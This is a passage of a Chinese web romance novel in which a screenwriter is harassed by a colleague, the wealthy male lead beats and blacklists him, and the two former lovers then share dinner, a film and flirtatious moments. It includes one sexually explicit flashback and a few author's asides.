突然没关上的大门,冲进来了彭清时,他一把拽开杜海滨,殷绿也跑进来,拿包朝杜海滨头上就是一挥:
“恶臭猥琐男,谁让你动手动脚的!
他们刚才来找容微月就在门口听到了动静,杜海滨疼得捂头,扶正被打歪的眼镜,爆了句粗口,想去打殷绿,彭清时挡在两个女人面前,怒火沉沉看过去:
“你想干什么?!你刚刚对微月做的我们都拍下来了,殷绿,直接报警!
殷绿拿起手机,杜海滨看到有男的在,脸色难看,冷笑瞪着三人:“你们敢报警试试看,我一定让容微月在这个剧组混不下,看谁搞得过得谁!
他拎起包往外走,殷绿追出去骂骂咧咧:“你以为我们怕你啊!看看身败名裂的是谁!猥琐男,人模狗样的东西!又肥又油腻的注水猪肉!
杜海滨走后,彭清时担忧问:“微月,你没受伤吧?
“我没事……
殷绿把门锁了,“宝,那男的是谁啊?!
“就是剧组里卡我稿子那个。
强烈的怒意和恶心在心底翻滚,容微月剧烈咳嗽着,“给我拿瓶冰水。
殷绿知道她的习惯,赶忙跑去冰柜拿冰水,容微月仰头猛地灌下,彭清时说他们其实没来得及拍照,“微月你这里有监控吗?
容微月摇摇头,脸色惨白,“没证据,报警也会不了了之。
而且杜海滨就抓了下她的手,拿他也没辙,殷绿生气:“这种畜生难道都没有人管管吗!太
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第 22 章 “没留下痕迹就行。”...
第22章第二十二章
【“没留下痕迹就行。”】
chapter22
傅蔺征眼神翻滚着狠戾,杜海滨肥胖褶皱的油脸扭曲失色,痛苦哀嚎。
傅蔺征在圈子里,是出了名的狂和狠,没人敢随便招惹。
从小到大,他什么都往极限里玩,开世界上最快的赛车,运动也选的是最危险的,打过一年地下拳击,有人在场子里挑衅,傅蔺征拳拳到肉,直接把人打到被救护车抬走,再没人敢在他面前说“不服”两个字。
也有人在某次酒局后说他世界冠军不过如此,傅蔺征开了辆跑车,在暴雨夜和他飙山路,油门一踩到底,几乎贴着护栏弯道漂移,拿命来玩,对方被他一连几个蛇形超车逼得心态炸裂,最后撞上山壁,从那之后甚至再也不敢碰方向盘。
没人知道他有多疯,身为京圈顶级太子爷,将来坐拥傅家千亿商业帝国的继承人,在外人眼中,他似乎没有软肋可以拿捏。
只有他身边的人知道。
容微月是那个唯一的例外。
此刻他周身的怒火沸如火海,杜海滨听到他的话,终于明白了自己被打的原因。
他没想到容微月背后的人真是傅蔺征,原本得意的嘴脸消失殆尽,泪花颤抖:“傅总,我错了,我不该……我不该去招惹容小姐的……”
“喜欢卡人稿子是吧?”
想象到小姑娘受的委屈以及被欺负的无助,他都想弄死他,傅蔺征黑眸赤深,薄唇吐出热气:“喜欢潜规则人是吧?”
杜海滨哭着嘴唇颤抖,求饶:“傅总,是我犯贱,是我没有眼力见,我不知道容小姐是您的人!我……我不该为难她的……”
一开始让容微月改稿子的时候,容微月默不作声,他就以为她背后没有靠山,谁知道真踢到了铁板。
他用另一只手疯狂扇自己巴掌:“傅总,求求您饶了我,以后我再也不敢了,再也不敢了……”
“你觉得你还会有以后么?”
杜海滨眼底颤抖,傅蔺征站起身,凉薄嗓音一字字落下:
“从今往后,你的名字要还能出现在这个圈里,老子就不姓傅了。”
杜海滨脸色惨白,颤着手试图拽住他的裤腿:“傅总,我真错了,给我一个机会吧……”
他还未碰到,就被黑衣保镖按住,傅蔺征掏出烟盒,拨弄打火机,青蓝色火焰点上根烟,冷眼看向保镖:“医药费给他,然后把这些垃圾处理了。”
这垃圾包括凌乱的包厢。
当然还有地上的杜海滨。
“好的傅总。”
徒留杜海滨的哀求,傅蔺征没再分给他一个眼神,压着怒火踩过满
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地的玻璃碎片,走出包厢。
怀裕连忙跟在后方。
他跟在傅蔺征身边两年多,是第一次看到他发这么大的火,情绪完全失控。
但也不难理解,被动的是他心尖上的那位。
现在的情形已经是傅蔺征尽量克制怒火的结果了,否则杜海滨估计要躺着被抬出来。
怀裕看着男人怒意未消的脸,愧疚道:“征哥,抱歉这件事也有我的问题,容小姐在合作上的事我应该多派人留意的,给了杜海滨生事的机会,以后绝不会再出现这样的状况了。
傅蔺征吐了口烟,垂眼按住手上被玻璃反刺而流血的伤口,冷声吐出几字:
“让他滚,放话出去,以后哪个影视公司敢聘用他,就是和我傅蔺征过不去。
之前提案会上他顾及到杜海滨多年来也算是个老人,留了点路,没想到这人得寸进尺。
“去查这件事还有谁经手,还有,告诉全剧组,如果下次还有人搞这种恶心的事,就来问问杜海滨是什么后果。
“好的征哥。
走出夜店,一辆线条冷厉的黑色帕加尼已经被保镖开来,傅蔺征接过车钥匙上车,拿出手机,看到上面有好十几个未接来电。
都来自容微月。
半个小时前,晴月阁工作室里,容微月在洗手间缓了缓难受的感觉,彭清时陪着她从洗手间回来,就听殷绿说了刚刚傅蔺征来电话的事。
容微月诧异:“你和他说了杜海滨的事?
殷绿点头:“宝,这件事肯定要告诉他啊,他是出品人,是你的大领导耶。
“那他怎么说的……
“傅蔺征听过去都快气炸了,说让我好好照顾你,他来解决。
容微月闻言怔然,心脏拍来一片沸腾海啸。
她不禁想起从前。
高中那年,游乐场事件结束后,她和傅蔺征冷战了了半个月,他们再无交集,她也以为他不会再喜欢她。
后来她参加一个小提琴比赛,校内选拔期间,有天她背着小提琴去学校,路上校外混混故意抢走她的小提琴,无助时,是傅蔺征出现开着车冲过去,在即将撞到的前一米停下,对方吓得屁滚尿流摔倒,男生下车拎起混混的领子,一拳挥了过去:
“就这狗胆,还敢来欺负老子的人?
那群混混有三四个,拿着木棍围了上来揍他,几乎是往死里招呼。
容微月在旁边拦也拦不住,只能去叫保安,虽然没人是傅蔺征的对手,但他毕竟一敌多,怎么可能毫发无损。
最后所有混混被撂倒,保安来了,傅蔺征额头淌下血,步伐踉跄,拿着小提琴回到她面前,容微月看着他眼泪大颗大颗往下砸,男生咽下喉
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间的血腥味,笑着抬手擦掉她眼泪,温柔哄她:
“别哭,这不是把小提琴给你抢回来了?”
“我在这儿,没人敢欺负你。”
那次傅蔺征身上的伤口缝了十几针,还因伤推掉了一个重要比赛,休养了半个月才好。
他没有因为游乐场的事恨她,还是那样保护着她。
容微月了解傅蔺征的脾气有多爆,生怕他为她出了事,给他打去电话,然而那头一直没接。
眼底忍不住的泛红。
她希望是她自己自作多情了,她不想他像从前那样为她去做影响自己的事,因为太不值得了……
她抹掉眼尾的湿润,彭清时安抚:“傅蔺征好歹是那人的上司,他肯定有办法处理的,你别着急,说不定他只是先去调查了呢?”
殷绿叹气:“傅蔺征肯定是去给月月撑腰了,他从前高中的时候就这样,没有人比他更在意月月了。”
彭清时忽而沉默。
过了会儿,容微月手机亮起,是傅蔺征的电话。
她立刻接起,“傅蔺征——”
那头传来一声极低的“嗯”,像是早已知晓她所有的焦灼与不安,声音透着刚刚压下火气后的沙哑,却格外低哑温和,像在安抚她:
“别怕,事情都解决了。”
听到那句别怕,容微月忽而语噎,仿佛一把钥匙拧开了藏在胸腔深处的某个机关。
说不清道不明是什么感觉,就像是一股温暖的热流冲刷过冷冻已久的冰块,憋了一整晚的委屈和生气,在这一刻全然褪去,只剩下他一直给她的安全感。
心头的巨石落地,她鼻尖微酸,还没说话,傅蔺征问:“你现在在哪儿?”
“我还在工作室……”
“我快到了,过去找你。”他只说。
容微月懵然,温声应下,“好。”
挂了电话,殷绿问:“怎么样,傅蔺征怎么说?他没事吧?”
“不知道……他说解决了,现在过来。”
殷绿激动:“不愧是傅蔺征,这行动力也太强了吧!!”
五分钟后,窗外传来低沉浑厚的引擎声浪,如野兽咆哮般卷过夜色。
容微月飞快走近窗边,一眼便看见一辆黑色超跑稳稳停在工作室门口。
车门打开,傅蔺征下车,黑色冲锋衣衬托他颀长挺拔的身形,肩宽腿长,乌发沉目,逆着车灯走了过来。
她和另外俩人说了声去开门,往外走。
傅蔺征拾级而上,看到了熟悉的身影——
小姑娘身上只披了件浅绒披风,水墨蓝旗袍勾勒出纤细线条,在风里几乎单薄得像一朵山茶花。
到面前,傅蔺征脸色沉下,拧眉数落:“穿这么少还跑出来?感冒不
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怕加重?”
“我……”
她还没说完,男人已然脱下了身上带着温度的冲锋衣外套,强势给她披上,像是裹住黑夜里流落在街头的小猫咪,嗓音沉哑:“别站外面,先进去。”
他拉着她进了工作室大门,暖气扑面而来,驱散寒意。
大厅没开灯,傅蔺征借着外头路灯洒进来的光,才会机会认真打量她。
女人小脸苍白,眉眼间透着憔悴,眼下乌青明显,也没什么唇色,明明才几天没见,整个人像是又瘦了一圈。
他喉间紧绷,心底怒火再度翻涌。
他又后悔刚才收拾杜海滨收拾得轻了。
不知道这几天她受了多少欺负。
明明走之前还交代她说有事情要告诉他,可遇到事情她还是一声不吭,能把他气死。
可是此刻,对上她水润湿软的杏眼,傅蔺征想到刚刚殷绿形容的她的状态,心疼早已淹没了生气,哪里舍得凶她。
他蹙眉哑声落下:“现在好点没有。”
她轻点点头,嗓音微涩,“好多了……”
她又忍不住看向他,“你没事吧?”
傅蔺征低拽嗓音如往常般,“你还有功夫操心上我了?我能有什么事。”
“你是去找杜海滨了吗,你怎么处理的?你是打他了吗?”
傅蔺征对上她担忧的目光,沉默几秒,把挂着血的手隐到后方,唇角慵懒扯起:“你以为能怎么处理?就过去找他谈了谈话,这人深知错误,已经自动提出离职了。”
容微月心底松了口气,“就这样吗……”
“不然你以为,我这人做事最讲文明了。”
“……?”
容微月半信半疑,而后殷绿和彭清时也走了过来,得知杜海滨离开剧组,殷绿大呼痛快,给傅蔺征竖大拇指:
“以后微月就不用再被他刁难了,傅蔺征今晚还好有你在,给微月出了头。”
傅蔺征转头,和彭清时的目光在空中交汇,随后站到容微月旁边,慵懒道:
“当然,今晚也得亏你们来了,特别是彭先生,辛苦了。”
彭清时:“……”
这语气莫名带着宣誓**的感觉,彭清时脸色微沉,提起唇角:“微月是我朋友,我肯定会帮忙的。”
容微月忍不住打了个喷嚏,傅蔺征拧眉:“没事的话走了,回家养病去。”
殷绿忙点头:“对啊微月,你先和傅蔺征回去吧,你不是还没吃饭吗,你俩赶紧去吃饭。”
彭清时想说话,殷绿立刻拽住他衣袖,一个眼刀子扔过来,仿佛在说:你再敢当电灯泡试试?
彭清时:“……”
容微月对上殷绿挤眉弄眼的神色,心头微乱,但也的确没精力再
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和他们聚会轻应了声傅蔺征低柔声音落在她耳边:“去收拾东西我在外面等你。”
容微月回到办公室过了会儿拿着包出来彭清时看向她:“微月那你好好休息照顾好自己有事给我打电话我都在。”
旁边传来傅蔺征一句轻嗤。
彭清时看去大少爷手插兜悠然倚墙:“不好意思啊喉咙痒可能被微月传染了呢。”
彭清时:“……”
容微月:“??”
容微月感谢应了彭清时一声殷绿过来拽着彭清时离开“走了走了话那么多……”
只剩下俩人容微月捏着包耳根微热头顶傅蔺征低沉声音落下:“走了坐我车回去。”
“我有车……”
傅蔺征顺着她眼神看到了远处停在旁边的小电驴。
“……”
他脸色沉成黑炭:“容微月老子跟你说的话你都当耳旁风?我汽车白留给你了?大冬天又骑这来上班还想骑回去你不怕冻晕在半路上?”
“唔……”
她心虚下一刻男人单手直接把她抱了起来沉着脸往帕加尼走去她心乱:“傅蔺征……”
“再叫回去收拾你。”他声音低哑。
她脸颊泛起红晕不知道为什么推不开他到车旁傅蔺征直接把她塞进了副驾驶座。
上了车他打开暖气递去毛毯和热的红糖水。
很快车子到达小区。
回到家呼呼看到亲爹回来了激动地跑上来傅蔺征揉揉它头“还算有良心。”
他走去开暖气容微月脱下身上的冲锋衣外套
“你手怎么了?”
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他来不及掩藏右手满了血的掌心袒在她视线之下一道四厘米长的口子挂着干涸的血痕。
刚刚杜海滨反抗激烈玻璃也反作用扎到了傅蔺征的手男人反手掩盖住往里走“没事。”
那么大的伤口说没事?
“还是处理一下吧呼呼要是舔到了就不好了。”
她去拿医药箱看向他:“傅蔺征。”
对上她沉静的目光他默了默走过去。
换做是旁人都没有敢这么和他说话的但她说他也只能乖乖听着。
坐到沙发上容微月拿出碘伏和棉签“你自己能弄吗?”
傅蔺征靠向沙发叹气:“另一只手也疼没力气举不起来了。”
“……”上一秒还说没事呢。
她用棉签沾了沾碘伏轻轻握住他右手他掌心带着酥麻的热度传来。
她涂着男人指尖动了动。
一下一下仿佛故意在轻挠她掌心。
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这人……
她眼睫如扑闪抬头看到他悠然偏眼看向其他地方似乎是她想多了。
她低下头专心帮他消毒伤口。
傅蔺征手掌宽大几乎能包住她的拳头指节修长骨骼分明因为长期握着方向盘长了茧青色血管顺着手背一路往上
呼呼跑来钻在傅蔺征怀中他揉揉它的头容微月一点点处理着半晌轻声响起:“傅蔺征。”
“嗯?”
“你刚刚是不是去打杜海滨了?”
傅蔺征神色微变吊儿郎当言:“什么**白天比赛受伤的这是登上领奖台的光荣勋章。”
“你当我傻吗?这伤口这么新而且我之前就没见过你比赛能留下这种伤口。”
傅蔺征对上她执着的目光滚了滚喉结两秒后懒洋洋开口:“这畜生早就该揍了之前在提案会上就看他不爽了在我手下把你欺负成这样当老子出国一趟是**?”
他语气轻飘飘的就像是在说今早吃了什么早餐一样随意容微月闻言各样情绪在心底翻江倒海冲得鼻尖泛酸。
果然刚才他刚刚说什么正常沟通都是假的就是怕吓到她就像当初他为她打架差点被送进医院却仍旧是笑着抹掉她眼泪好像完全感觉不到疼只是说帮她抢到了小提琴。
之前她被恶意别车他直接撞了上去她行李被扔出来他为她揍房东容微月不敢去幻想傅蔺征是单纯对她好可是从事实来看他都像是不顾自己的安危一般挡在她面前。
再也没人会这么护着她了。
明明分手了他为什么还要对她这么好呢当初她那么决绝甩了他他应该很恨她才对……
傅蔺征正说着看她红了眼眶拧眉:“你哭什么?放心老子下手有轻重人没死。”
她吸鼻子“谁管他死没死……”
傅蔺征扯起唇角:“噢那就是关心我了?”
她哑然傅蔺征声调悠然:“关心就关心也没什么不好意思承认反正你现在对我的心思昭然若揭我都习惯了。”
“……”
她被逗得忍下了泪意拿出纱布和绷带轻涩开口:
“傅蔺征谢谢你。”
“这几天杜海滨一直卡着我的稿子让我反复修改我很想甩手不干了但是我们工作室需要活下去我需要这次合作今晚谢谢你为我出了头。”
傅蔺征看着微湿的眼睛黑眸翻滚开口嗓音磁哑:“放心以后不会这样了他再也没有欺负你的机会了。”
他再也不会让人伤害她了。
她眼底掀起涟漪傅蔺征把纸巾丢到她怀里:“行了
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
,把眼泪擦了,也不至于这么感动,毕竟室友一场,举手之劳而已,都说了我这人心善。”
她咕哝了声,他又数落:“下次这种事你再瞒着我试试?来**掰扯几天耽误开机进度,就是我赚钱的进度,下次再这样我连你一起追责了,听到没?”
容微月轻轻应了声,最后给他包扎好,傅蔺征把医药箱放回柜子里,问她:“晚饭还没吃?”
“还没……”
“我去看看冰箱。”
她尴尬叫住他:“最近我没怎么在家吃饭,冰箱只剩下一根黄瓜了……”
真行,他一不在家管她她就这样。
傅蔺征沉脸懒得说她,拿出手机:“我叫外卖,给你点碗粥。”
她这几天粥喝怕了,委屈巴巴:“能不喝粥吗……”
他轻嗤,“你一个病号还想吃什么?”
容微月咕哝:“能帮我点份麻辣水煮鱼吗?”
?
傅蔺征笑了,“你怎么不说吃完了我再帮你送去医院呢?”
“……”
容微月说这几天都是清粥小菜,人都快吃麻了,她耷拉下脑袋,“算了,你随便点吧,我都行。”
她回房去洗了个澡,洗完澡她出来晒了衣服,看到傅蔺征去门口拿了外卖走进来,她正要回房,男人叫住她:“肚子还不饿?”
她一点胃口都没有,“没事,你放桌面上吧,我迟点吃。”
他懒洋洋收回眼,“也行,那水煮鱼我就一个人吃了。”
她眼睛亮起,“你买了?”
不买她都要闹绝食了,他能有办法?
傅蔺征往前走,“拿两副碗筷过来。”
她立刻拿着碗筷跟上去,发现他推开影音厅的门,容微月牢牢谨记住房合同,觉得这里不是公共区域,一直没敢进来,“在这儿吃吗?”
“刚好想看电影了。”
她眨巴着眼看他,再度确认一下,“那我进来你的地方,没有算在房租里吧?”
傅蔺征扯唇,把她拉进来,关上她身后的门,高大的身影笼罩而下,低磁嗓音落在耳畔:
“没留下你的痕迹就行。”
“唔……”
她懵然脸红,什么叫她的痕迹……?
这个时候她还不知道,没一段时间后,傅蔺征就没少缠着她在这个房间做//爱,翻来覆去,弄得她又娇又哭,流下的好多……
〓作者有话说〓
[猫头][猫头][害羞]嘿嘿嘿此留非彼流
傅狗狗侵略性随时随地拉满[垂耳兔头]
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第 23 章 跌坐在他腿上
第23章第二十三章
【跌坐在他腿上】
chapter23
她懵懵然眨眼,不知道该怎么回复,想着他应该是不让她弄脏他的房间,软声道:“我会注意的……
傅蔺征垂眼看向她,无奈笑了。
怎么这么软乎乎的,他说什么她都应啊,可爱得好想让人欺负。
他压下唇角,怕她饿了,不再逗她,转身往里走,“赶紧过来吃。
容微月进去坐在茶几前的地毯上,傅蔺征解开外卖袋子,容微月想帮忙把一大份鱼端出来,就被他拦住:“油漏出来了,别碰,你先去找电影。
“好,你要看什么?
“随便,你挑你喜欢的,不好看我再换。
容微月应了声,去拿遥控器,翻来覆去挑了部经典喜剧电影,傅蔺征把吃的摆在桌上,出去洗手,回来时拿着毛毯和青橘气泡水。
把毛毯丢给她,“盖在腿上,别着凉了。
“谢谢……
她见他长腿微敞,坐到了侧后方的沙发上,想到一事:“对了,你今晚不是说有庆功宴?
原来是有的,但他后来哪有心思参加。
傅蔺征:“没去。
“为什么?
他语气没半点谦虚,“戒骄戒躁不懂?主要是拿个名次就要开庆功会,我一年到头得开多少场啊。
“……
这人确实该好好戒戒。
容微月夹了片鱼片,傅蔺征开了青橘气泡水,摆到她手边,淡淡道:“凑合吃,之前高中门口那家没做外卖,我随便挑了家评分高的。
“没关系……她怔了怔,没想到他还记得。
从前她被他带着会吃辣以后,就特别喜欢学校门口那家爆辣水煮鱼,有时她心情不好,傅蔺征就会带她去吃,吃到浑身暴汗,压力也被释放了。
杭市清淡酸甜口居多,后来她再也没吃过那么对胃口的水煮鱼了。
容微月尝了口,咸香鲜辣瞬间刺激味蕾,让人食欲大开,点点头:“比我做得好吃,就是没有学校门口那家辣。
傅蔺征揶揄:“能给你点你就偷着乐吧,再辣下去你感冒不想好了?
算了,有得吃也挺好,她也不敢挑。
她大快朵颐,吃着鱼片,影音厅里灯光微暗,她一边看着电影,一边心不在焉夹了一块鱼一口咬下去,谁知道竟然不是鱼,而是一大块生姜。
一瞬间,最令她讨厌的那股辛辣味从舌尖如**炸开,蔓延口腔,反胃感蔓延而上。
大脑报警,她思绪被猛地抓回,小脸皱巴成一团,呜咽一声,连忙去找纸巾。
傅蔺征注意到,“怎么了?
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她皱着眉说不出话,男人立刻伸手,“吐这儿。”
她哪里好意思,他低哄:“快点。”
嘴巴实在难受,她忍着羞涩,只好把姜块吐在他掌心,辣得直咳嗽又反胃,“我把姜块认成鱼了……”
他无奈勾唇:“容微月,你怎么这么笨啊?”
“唔……”
男人把姜块扔进垃圾桶,把青橘气泡水递给她:“喝点,压压味道。”
她咕嘟嘟大口吸着,刺激的生姜味终于被压下,轻轻咳嗽着,傅蔺征递给她纸巾:“好点了么?”
“嗯……”
随后男人用公筷去水煮鱼里挑出姜块,“行了,没生姜了,放心吃。”
容微月轻轻应了声,想到刚刚他让她直接吐在他手里,和从前在一起的时候一样,这人竟然也不嫌弃,脸后知后觉发热。
她继续吃着,除此之外,傅蔺征还点了她喜欢的黑椒牛肉粒等其他的菜,她好几天没吃得这么丰盛,也因为终于没有改稿的压力,迷路了好几天的胃口终于找回来。
过了会儿吃完饭,容微月想收拾桌面,傅蔺征没同意:“别碍手碍脚的,坐沙发上去,我来收拾。”
她呆呆咕哝,见傅蔺征这样养尊处优的大少爷细心收拾着,整理完他出去,回来拿着感冒药和温水,“吃药。”
她接过吃完,傅蔺征又倒了一大杯水放桌面,“等会儿喝完,不然上火了。”
她瘪嘴,这人管她管得好严格……
她却莫名说不出拒绝的话。
半晌门口传来扒拉门的声音,傅蔺征走去开门,看到白色小团子蹲在门口,朝他摇着尾巴,黑葡萄眼扑闪扑闪。
他垂眼睨它:“注意分寸啊,不该做的别做。”
呼呼:……
被放行,小家伙哒哒哒跑进去,看到沙发上的容微月,跳起来立刻钻入她怀中,白绒绒的脑袋蹭了蹭,一副眼巴巴求摸的模样。
傅蔺征:“……”
都白嘱咐了是吧?
他脸黑在旁边坐下,轻呵一声:“含辛茹苦栽培六年,培养出来了只舔狗。”
呼呼:……
容微月:?
呼呼不搭理他,乖乖贴在妈妈怀中,容微月眉眼浅弯:“呼呼才不是舔狗,它最可爱辣。”
呼呼认同般拱了拱容微月的手,容微月揉揉它脑袋,“不管他,我们继续看电影。”
傅蔺征:“……”
半晌容微月怀中的狗狗被抱走,傅蔺征冷嗤:“差不多得了,我还没抱呢。”
知道他喜欢呼呼,她也不能老和他抢。
把呼呼的脑袋揉乱,傅蔺征报复成功,放它去旁边玩小球。
两人继续看电影。
昏暗光线中,两人单单并排
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坐着,傅蔺征长手长脚,沙发占了一大半,容微月感受到他身上清冽的薄荷气息带着隐隐的侵略性飘散而来,逼仄的空间勾得人心思微乱。
从前他们也一起看过电影,高考后有次在他家看的那电影尺度挺大,当时她看着就被傅蔺征抱到怀中,男生哪里忍得了一点,早就头抬得高高的。
昏黄狭窄的空间太刺激,两人的气息缠在一起,在沙发上她只能如藤蔓牢牢地抱住他,娇得眼冒泪花,任由他激撞。
沙发咚咚咚的,生怕下一秒就要散架,近乎恐怖的速度,伴随着他一声声闷哼落在她耳边,哄着她叫她名字。
最后傅蔺征把她腿折成蝴蝶翅膀,直接俯首称臣吻了下去。
他肌肉群沟壑分明的后背都是小猫抓痕,皮质沙发一大片水洇,少女试图推开他脑袋,抖成筛子,哭出来的感觉直接刻入她骨髓。
末了把她抱在怀中,傅蔺征舔了舔唇上的水珠,哑声在她耳边喟叹:“小贝壳好甜啊。
没过多久,他又俯身。
那天下午,她像只扑腾的小鱼快乐了好几次。
回忆在脑中浮现,容微月脸颊臊得厉害,心跳如鼓,掐灭思绪不敢再去联想,专心看向大屏幕。
半晌傅蔺征淡淡道:“灯太亮了,反光看不清。
头顶的氛围灯就落下他身上,似乎真的看不清,容微月会意道:“我去关个灯。
容微站起身走去门口,把最后一盏灯光灭走回来路过他身边,谁知脚下踩到了呼呼的玩具,身子一滑——
她重心一失,身子猝然向前倾去。
下一刻,熟悉的怀抱撞进感官。
傅蔺征强有力的手臂青筋暴起,稳稳搂住她,小姑娘软软的像是一团糯米团子,下意识让人收紧手臂,将她护在怀中。
容微月呼吸一滞,整张脸差点埋进他颈窝,鼻尖蹭过他脖颈,淡淡的竹叶薄荷气息扑面而来,让人心跳猛地“砰开入烟花盛放。
傅蔺征好像比记忆中更加健壮,胸肌鼓动分明,手臂线条绷着,透着满满的荷尔蒙张力。
她像只小猫咪被圈在他怀里,双颊倏然蔓延绯色,耳根也悄悄烧起来。
傅蔺征看着近在咫尺的她,心底躁意腾升,低哑嗓音传来她耳边:“容微月,你现在占我便宜都这么明目张胆了?
“……
她面颊烫得和刚出锅的寿桃包一样,“对不起,我、我不是故意的。
他滚了滚喉结,声音如含了沙:“嗯,你是有意的呗。
“……
这人要不要这么讨厌……
她手撑着他肩膀立刻站起身,赶紧坐到沙发上,缩到最里头的位置,和他保持着距离。
傅蔺
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征落在屏幕上的黑眸愈渐浓重,不知道电影在演什么,鼻尖都是空气里缭绕的清甜白茶香味和刚刚坐在他怀中的感觉,让人喉间烧得厉害。
浑身就像过了火,在黑暗中掩盖着异样。
她看着电影,然而就看到傅蔺征站起身往外走,她疑惑:“你不看了吗?
傅蔺征舌尖抵了抵上颚,嗓音透了几分哑:“去处理个工作。
他走出去,关上影音厅的门。
她收回心思看着电影,十几分钟后,傅蔺征才回来。
他在沙发坐下,容微月瞥头看过去,发现他右手的纱布似乎湿透了,血又渗了出来。
这人去干嘛了……
暂时缓下来,傅蔺征喝了瓶水,随口问她:“电影演到哪儿了。
她回过神,“演到这个……
两人看着,呼呼在俩人怀中钻来钻去,一会儿去地毯上打滚,一会儿又回来。
容微月时不时被电影逗笑,傅蔺征无声转头看到小姑娘下巴枕在呼呼头上,唇畔浅浅扬起,看过去心情好了许多。
他也放下心来。
看完电影已经九点多了,容微月脸上还带着笑,傅蔺征眉梢挑起:“心情不错了?
“嗯,这部还挺好看的,你不觉得吗?
傅蔺征懒懒“嗯了声。
其实他压根就没怎么认真看,又是水煮鱼,又是看电影,能把她哄开心点就好。
走出影音厅,他问她:“要去睡觉了?
“还不怎么困,我想去画会儿稿。
傅蔺征看着她认真的态度,淡淡道:“以前以为你更加喜欢小提琴,花丝镶嵌只是被你家里人逼的。
容微月愣了愣,轻轻点头:“一开始我确实挺不喜欢花丝镶嵌的。
小时候是姐姐更喜欢花丝镶嵌,也更厉害,容微月只是被父亲逼着学习,虽然祖母一直夸她有天赋,但是她想要脱离容承业的掌控,也从未沉下心来却认识花丝镶嵌这个手艺。
大学决定学这个,她也是想完成祖母的心愿,后来她到了中国美院,大一下时,祖母病重,她赶回京市陪伴,祖母弥留之际,给她了一个自己制作的珍藏多年的花丝镶嵌作品:“月月,你爸爸希望你成为你姐姐,但祖母希望你成为你自己,我一生最爱的作品现在给你,你不需要任何人认可,你只要去发现你自己,
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成为你自己,记住,月月不是任何人的代替品。
祖母去世后,她开始扪心自问,她抗拒的到底是这门技艺,还是父亲对她的掌控?
后来返回杭市,她去看了场博物馆艺术展览,看到了一个非常漂亮的非遗作品竟然是祖母的学生做的,那一刻她明白了传承和坚持的意义。
她知
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道了,其实她也很喜欢花丝镶嵌,只是不喜欢被逼着被管着,她想用自己的方式把这个手艺做好,不靠父亲,成为祖母的骄傲。
傅蔺征听她说完,目光直直看她:“你已经是你祖母的骄傲了,她如果还在,一定会为你感到自豪。
容微月怔了怔,心头拂过柔意,点起酒窝:“谢谢,我也希望是这样。
他悠然道:“你画吧,我去洗澡了。
她应了声,他回房间,容微月去画稿子。
另一头,迟些时候傅蔺征洗完澡走出浴室,收到了夏斯礼发来的信息。
那头不知道从哪里接到的消息,得知了傅蔺征在GTM揍人的消息,好奇来问:【什么情况啊?那个姓杜的怎么惹我们家傅大少爷了?】
傅蔺征眼底冷了几分,淡淡道:【他想潜规则容微月。】
听他说了前因后果,夏斯礼气:【这畜生吃了雄心豹子胆了吧,这么欺负一个女孩子,**你和微的关系?】
傅蔺征:【今晚揍完他,他就知道了。】
夏斯礼不禁笑了,【就猜到了能让你这么生气的只能和微月有关了,怎么样,你有没有和你主人讲讲你英雄救美的事,让她狠狠感动一把??】
傅蔺征擦着头发,喉间滚出轻嗤:【这种恶心的人我都不想在她面前提,有什么好说的?】
本来他都不想让她知道的。
夏斯礼打趣:【傅蔺征你傻不傻啊,这是一个好机会拉近拉近你俩的关系你不知道?要我,我就让她感动的一把鼻涕一把泪扑到我怀里,最后以身相许。】
“……
傅蔺征:【滚,你以为我是你这种庸俗的人?】
他锁上手机,黑眸泛起波澜,最后把手机扔到床上,去吹头发。
另一头,容微月画完稿子也回了房间。
洗漱完,她躺到床上,照例吃了颗药,却不知道是不是因为今晚发生了太多事情,迟迟无法入睡。
翻来覆去,不知过了多久,她拿起手机,看到已经快凌晨一点了。
今晚的水煮鱼吃得有点咸了,她口干舌燥,便拿了水杯走出卧室。
室外万籁俱寂,夜色如墨,她只穿着一件单薄的白色真丝吊带睡裙,勾勒出白若凝脂的天鹅颈,布料垂落如流云,裙摆随着她的动作轻轻拂动。
空气中泛开清柔的梨花香,她胳膊细长如白瓷,香肩若雪,海藻般的黑发披散下来,凌乱又撩人,介于纯情和妩媚之间。
她去餐厅倒水,咕嘟嘟灌下,忽而后方传来一声门响。
她倏地转头,就看到傅蔺征从卧室出来。
男人身形颀长,披着一件深色浴袍,领口微敞,露出结实的胸肌与锁骨线条,乌发
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黑眉,眉目带着懒倦和痞意,不知道是被吵醒了,还是一直还没睡。
他看到她,走了过来,她一时间有点呆住,捏紧水杯:“你还没睡啊?”
他懒洋洋应了声,嗓音带着沙沙的磁性,站在她身旁装水,清冽的薄荷气息在深夜丝丝缕缕飘来,一点点占据她周遭的空气。
没想到他会出来,她感觉自己穿得太暴露,耳根微红,端着水杯正往前走,脚下拖鞋拌了下,下一刻手臂就被一只强有力的手臂牢牢抓住。
傅蔺征强烈的荷尔蒙气息席卷而来,她薄薄的睡衣真丝布料褶皱,肩带滑落半边,漏出如月色般雪腻的酥肩。
她整张脸绯红,头顶落下男人吊儿郎当的低哑嗓音:“容微月,同一个招数你打算用几次啊?又故意撞我怀里?”
“……”
她红着脸立刻后退一步,嗫嚅:“抱歉……”
她才没有呢。
傅蔺征拢下眼尾,欲深的目光落在她身上。
灯光昏暗,夜深更外静谧,氛围太过暧昧,容微月连忙道:“我先回房了。”
她想走,傅蔺征却慢慢挡在她面前。
“容微月——”
她呆住抬头看他,“嗯?”
傅蔺征视线看着她莹白如玉的脸颊,喉结微滚,慵慵懒懒开口;“我突然觉得呢,有个事你最好还是要负责一下。”
????
她愣住,“什么?”
“我失眠了。”
她呆住,就见男人靠向餐桌,散漫悠闲对上她目光,难过叹气:
“今晚我为了某人去打架,被打得身上青一块紫一块的,腰也酸腿也疼,也没个好心人给按个摩一下,现在浑身都疼得睡不着,你说我该怎么办啊?”
容微月:“……?”
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义义:?大晚上不睡觉发骚是吧?
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第 24 章 潮汐刺青上都是小猫爪印...
第24章第二十四章
【潮汐刺青上都是小猫爪印】
chapter24
傅蔺征一米八.九的个子拓落高挺,披着松松垮垮的浴袍,衣襟微敞,锁骨和胸肌线条若隐若现,右眼上的冷欲黑痣随着长睫垂下,身子挡在她面前。
他黑眸直勾勾落向她:“主要是大晚上的,我也找不到其他人了,你说,出于人道主义你是不是该负个责啊?”
“……”
傅蔺征吊儿郎当的语调没半点可信度,但今晚他为她**又是事实。
